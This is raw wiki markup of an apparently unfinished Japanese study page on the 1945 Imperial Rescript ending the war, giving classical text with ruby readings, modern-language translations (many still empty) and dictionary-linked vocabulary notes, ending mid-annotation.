&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|他|た}}{{ruby|国|こく}}の{{ruby|主|しゅ}}{{ruby|権|けん}}を{{ruby|排|はい}}し{{ruby|領|りょう}}{{ruby|土|ど}}を{{ruby|侵|おか}}すが{{ruby|如|ごと}}きは、&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：他国の主権を排除してその領土を侵略するようなことは、&lt;/p&gt;
=== 固ヨリ朕&amp;#xE0102;カ志ニアラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;{{ruby|固|もと}}より{{ruby|朕|ちん}}が{{ruby|志|こころざし}}にあらず。&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：言うまでもなく、わたくしの本意ではない。&lt;/p&gt;
====固ヨリ====
*「固より」：もともと。言うまでもなく。最初から。&lt;ref&gt;[https://kotobank.jp/word/%E5%85%83%E3%82%88%E3%82%8A-646100#w-646100 元より(モトヨリ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
====志====
*「志（こころざし）」：気持ち、意向、信念。&lt;ref&gt;[https://kotobank.jp/word/%E5%BF%97-500610#w-1965334 志(ココロザシ)とは？ 意味や使い方 - コトバンク]&lt;/ref&gt;
=== 然ルニ交&amp;#xE0101;戰已ニ四歲ヲ閱シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ陸海&amp;#xE0100;將兵ノ勇&amp;#xE0101;戰 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ百僚有司ノ勵精&amp;#xE0100; ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;カ一億衆庻&amp;#xE0100;ノ奉公󠄁 ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 各〻最善ヲ盡セルニ拘ラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 戰局必スシモ好轉セス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 世界ノ大勢亦我ニ利アラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 加之敵ハ新ニ殘虐󠄁ナル爆彈ヲ使&amp;#xE0101;用シテ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 頻&amp;#xE0100;ニ無辜ヲ殺&amp;#xE0100;傷シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 慘害&amp;#xE0102;ノ及&amp;#xE0101;フ所&amp;#xE0101;眞ニ測ルヘカラサルニ至ル ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 而モ尙交&amp;#xE0101;戰ヲ繼續セムカ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 終&amp;#xE0101;ニ我カ民族ノ滅亡ヲ招來スルノミナラス ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 延&amp;#xE0102;テ人類&amp;#xE0100;ノ文&amp;#xE0101;明ヲモ破却スヘシ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 斯ノ如クムハ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 朕&amp;#xE0102;何ヲ以テカ億兆ノ赤子ヲ保シ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 皇祖&amp;#xFE00;皇宗ノ神&amp;#xE0100;靈ニ謝セムヤ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;

=== 是レ朕&amp;#xE0102;カ帝國政府ヲシテ共同宣言ニ應セシムルニ至レル所&amp;#xE0101;以ナリ ===
&lt;p style=&quot;line-height:1.3; font-family:游明朝;font-size:20pt;&quot;&gt;
&lt;/p&gt;
&lt;p style=&quot;color:#009900; font-family:游明朝;font-size:18pt;&quot;&gt;現代語訳：
&lt;/p&gt;


&lt;!--
&lt;ruby&gt;&lt;rb&gt;●漢字●&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;●ルビ●&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;
--&gt;
&lt;span style=&quot;color:#500;&quot;&gt;
&lt;/span&gt;
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;p style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;

== 第四段落 ==
&lt;!--◆第四段落--&gt;&lt;div style=&quot;background-color:#ffd;&quot;&gt;
&lt;p style=&quot;line-height:1.3; margin-bottom: 15px; text-align:left; font-family:游明朝;font-size:13pt;&quot;&gt;（原文）&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ帝國ト共ニ&lt;span style=&quot;color:#500;&quot;&gt;終&amp;#xE0101;&lt;/span&gt;始東亞ノ解放ニ協力セル&lt;span style=&quot;color:#500;&quot;&gt;諸&amp;#xE0100;&lt;/span&gt;盟&lt;span style=&quot;color:#500;&quot;&gt;邦&amp;#xE0102;&lt;/span&gt;ニ對シ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;憾ノ意ヲ表セサルヲ得ス帝國臣民ニシテ戰陣ニ死シ職域ニ殉シ非命ニ斃レタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;&lt;span style=&quot;color:#500;&quot;&gt;及&amp;#xE0101;&lt;/span&gt;其ノ&lt;span style=&quot;color:#500;&quot;&gt;遺&amp;#xE0101;&lt;/span&gt;族ニ想ヲ致セハ五內爲ニ裂ク且戰傷ヲ&lt;span style=&quot;color:#500;&quot;&gt;負&amp;#xE0102;&lt;/span&gt;ヒ災&lt;span style=&quot;color:#500;&quot;&gt;禍&amp;#xE0100;&lt;/span&gt;ヲ蒙リ家業ヲ失ヒタル&lt;span style=&quot;color:#500;&quot;&gt;者&amp;#xE0101;&lt;/span&gt;ノ厚生ニ至リテハ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ノ深ク軫念スル&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;ナリ惟フニ今後帝國ノ受クヘキ苦&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;ハ固ヨリ&lt;span style=&quot;color:#500;&quot;&gt;尋&amp;#xE0101;&lt;/span&gt;常ニアラス爾臣民ノ衷&lt;span style=&quot;color:#500;&quot;&gt;情&amp;#xE0101;&lt;/span&gt;モ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;善ク之ヲ知ル然レトモ&lt;span style=&quot;color:#500;&quot;&gt;朕&amp;#xE0102;&lt;/span&gt;ハ時&lt;span style=&quot;color:#500;&quot;&gt;運&amp;#xE0101;&lt;/span&gt;ノ趨ク&lt;span style=&quot;color:#500;&quot;&gt;所&amp;#xE0101;&lt;/span&gt;堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ堪ヘ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ&lt;span style=&quot;color:#500;&quot;&gt;難&amp;#xE0100;&lt;/span&gt;キヲ&lt;span style=&quot;color:#500;&quot;&gt;忍&amp;#xE0101;&lt;/span&gt;ヒ以テ萬世ノ爲ニ太&lt;span style=&quot;color:#500;&quot;&gt;平&amp;#xE0101;&lt;/span&gt;ヲ開カムト欲ス&lt;/p&gt;
&lt;p style=&quot;background-color:#ffe; line-height:1.5; font-family:游明朝;font-size:13pt;&quot;&gt;&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と&lt;ruby&gt;&lt;rb&gt;共&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に、&lt;ruby&gt;&lt;rb&gt;終&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;始&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;東&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;とう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;亜&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;あ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;解&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;放&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;協&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;きょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;力&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;りょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せる&lt;ruby&gt;&lt;rb&gt;諸&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;盟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;邦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ほう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;対&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;憾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;意&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;表&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せざるを&lt;ruby&gt;&lt;rb&gt;得&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;え&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ず。&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にして、&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;陣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;死&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;し、&lt;ruby&gt;&lt;rb&gt;職&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;域&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いき&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;殉&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じゅん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;じ、&lt;ruby&gt;&lt;rb&gt;非&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ひ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;命&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;めい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;斃&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;たお&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;、&lt;ruby&gt;&lt;rb&gt;及&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;および&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&amp;nbsp;&lt;ruby&gt;&lt;rb&gt;其&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;そ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;遺&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;い&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;族&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぞく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;想&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おもい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;致&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;せば、&lt;ruby&gt;&lt;rb&gt;五&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;内&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ない&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;為&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ため&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;裂&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く、&lt;ruby&gt;&lt;rb&gt;且&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かつ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;戦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;傷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;負&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;お&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;い、&lt;ruby&gt;&lt;rb&gt;災&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;さい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;禍&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を
&lt;ruby&gt;&lt;rb&gt;蒙&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こうむ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;り、&lt;ruby&gt;&lt;rb&gt;家&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;か&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;業&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ぎょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;失&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;うしな&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;いたる&lt;ruby&gt;&lt;rb&gt;者&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もの&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;厚&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;生&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;せい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に&lt;ruby&gt;&lt;rb&gt;至&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;いた&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;りては&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;深&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ふか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;軫&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;念&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ねん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;する&lt;ruby&gt;&lt;rb&gt;所&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ところ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;なり。&lt;ruby&gt;&lt;rb&gt;惟&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;おも&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;うに、&lt;ruby&gt;&lt;rb&gt;今&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;後&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ご&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;帝&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;てい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;国&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;こく&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;受&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;う&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;くべき&lt;ruby&gt;&lt;rb&gt;苦&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;く&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;難&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;は、&lt;ruby&gt;&lt;rb&gt;固&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;もと&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;より&lt;ruby&gt;&lt;rb&gt;尋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;常&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;にあらず。&lt;ruby&gt;&lt;rb&gt;爾&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なんじ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;臣&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;民&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;みん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の&lt;ruby&gt;&lt;rb&gt;衷&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちゅう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;情&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;じょう&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;も、&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ちん&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;&lt;ruby&gt;&lt;rb&gt;善&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;よ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;く&lt;ruby&gt;&lt;rb&gt;之&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;これ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;ruby&gt;&lt;rb&gt;知&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;し&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;る。&lt;ruby&gt;&lt;rb&gt;然&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;しか&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;れども&lt;ruby&gt;&lt;rb&gt;朕&lt;/rb&gt;&lt;rp&gt;（